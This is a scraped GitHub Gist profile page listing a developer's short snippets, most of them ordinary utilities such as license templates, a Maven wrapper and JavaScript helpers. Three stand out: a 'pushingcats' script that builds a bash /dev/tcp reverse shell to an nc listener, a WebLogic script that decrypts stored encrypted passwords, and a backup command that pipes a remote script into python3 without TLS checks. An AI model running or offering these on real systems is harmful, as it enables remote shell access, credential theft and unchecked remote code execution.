Skip to content

Instantly share code, notes, and snippets.

View nicerobot's full-sized avatar
๐Ÿค–
โ˜ฏ๏ธ โ˜ฎ๏ธ ๐Ÿถ ๐Ÿพ ๐Ÿ‘พ ๐ŸŽฎ ๐ŸŽผ ๐ŸŽถ ๐Ÿ•บ ๐ŸŽง ๐ŸŒป ๐ŸŒฑ ๐Ÿž ๐ŸŒŠ ๐ŸŒ” ๐ŸŒŽ

nicerobot

๐Ÿค–
โ˜ฏ๏ธ โ˜ฎ๏ธ ๐Ÿถ ๐Ÿพ ๐Ÿ‘พ ๐ŸŽฎ ๐ŸŽผ ๐ŸŽถ ๐Ÿ•บ ๐ŸŽง ๐ŸŒป ๐ŸŒฑ ๐Ÿž ๐ŸŒŠ ๐ŸŒ” ๐ŸŒŽ
View GitHub Profile
@nicerobot
nicerobot / backup.sh
Last active April 15, 2022 23:13 — forked from joneskoo/gist-backup.py
Clone or update a user's gists locally
#!/bin/bash
curl -ks https://gist.githubusercontent.com/nicerobot/1622504/raw/gist-backup.py | USER=${USER} python3

gin runs scripts locally, directly from a gist.

@nicerobot
nicerobot / getwlspwd.sh
Created January 20, 2012 17:14
Recover WLS Password
java weblogic.WLST <<WLS
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
es=weblogic.security.internal.SerializedSystemIni.getEncryptionService(".")
ces=weblogic.security.internal.encryption.ClearOrEncryptedService(es)
ces.decrypt("{AES}9P7z/8D7ccvDWhBmqa0NEhR1b65BlFuBeVQ3WpwJHTI=")
ces.decrypt("{AES}Tlxc7yoE4BGQS2k5XBsMX/Kx4XgEBAcPqzXH7PP5zSI=")
WLS
@nicerobot
nicerobot / NSArray+charactersFromString.h
Created January 29, 2012 02:17
NSArray+charactersFromString
//
// NSArray+charactersFromString.h
//
// Created by nicerobot.
// Copyright 2012 Nice Robot Corporation. All rights reserved.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
@nicerobot
nicerobot / GNU-GPLv3.File.txt
Created January 29, 2012 05:30
Xcode 4.3+ license template creator.
This file is part of ___PROJECTNAME___.
___PROJECTNAME___ is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
___PROJECTNAME___ is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
up() { cd $(for i in $(seq ${1:-1}); do cd ..; done >/dev/null 2>&1; pwd); }
@nicerobot
nicerobot / mvn.sh
Created March 10, 2012 20:17
Easy mvn command. Work-in-progress to improve the crappy mvn interface.
mvn() {
# usage: mvn phase... -- [groupId [artifcatId [archetypeArtifactId]]] [-Dname=value]...
local mvn=$(which mvn) || return 1
[ ${mvn:0:1} = '/' ] || return 2
local phases=()
local rest=()
local order=(groupId artifactId archetypeArtifactId)
local n=-1
local m=${#order[@]}
local add=phases
@nicerobot
nicerobot / pushingcats
Created March 18, 2012 18:15
Pushing cats
#!/bin/bash
# Based on http://revision3.com/haktip/pushingcats
[ "${1}" ] || exit ${LINENO}
((PORT=RANDOM %2048 + 8192))
IP=$(/sbin/ifconfig | sed -n -e '/eth0/,/inet addr:/p' | tail -1 | awk -F '[: ]+' '{print $4}')
[ "${IP}" ] || exit ${LINENNO}
screen nc -l -n -vv ${PORT}
REMOTE="/bin/bash -i > /dev/tcp/${IP}/${PORT} 0<&1 2>&1"
echo ${REMOTE}
# Of course, if you have ssh, why do you need this? :P
@nicerobot
nicerobot / Object.prototype.sizeof.js
Created April 4, 2012 16:57
JavaScript Object and String enhancements. Each usable standalone.
if (!Object.prototype.sizeof) {
Object.defineProperty(Object.prototype, 'sizeof', {
value: function() {
var counter = 0;
for (index in this) counter++;
return counter;
},
enumerable: false
});
}
@nicerobot
nicerobot / Object.implement.js
Created April 4, 2012 17:04
JavaScript Object and String enhancements. Each depends on Object.implement.
!Object.implement && Object.defineProperty(Object.prototype, 'implement', {
enumerable: false,
value: function(name, func) {
!this.prototype[name] && Object.defineProperty(this.prototype, name, {
enumerable: false,
value: func
});
}
});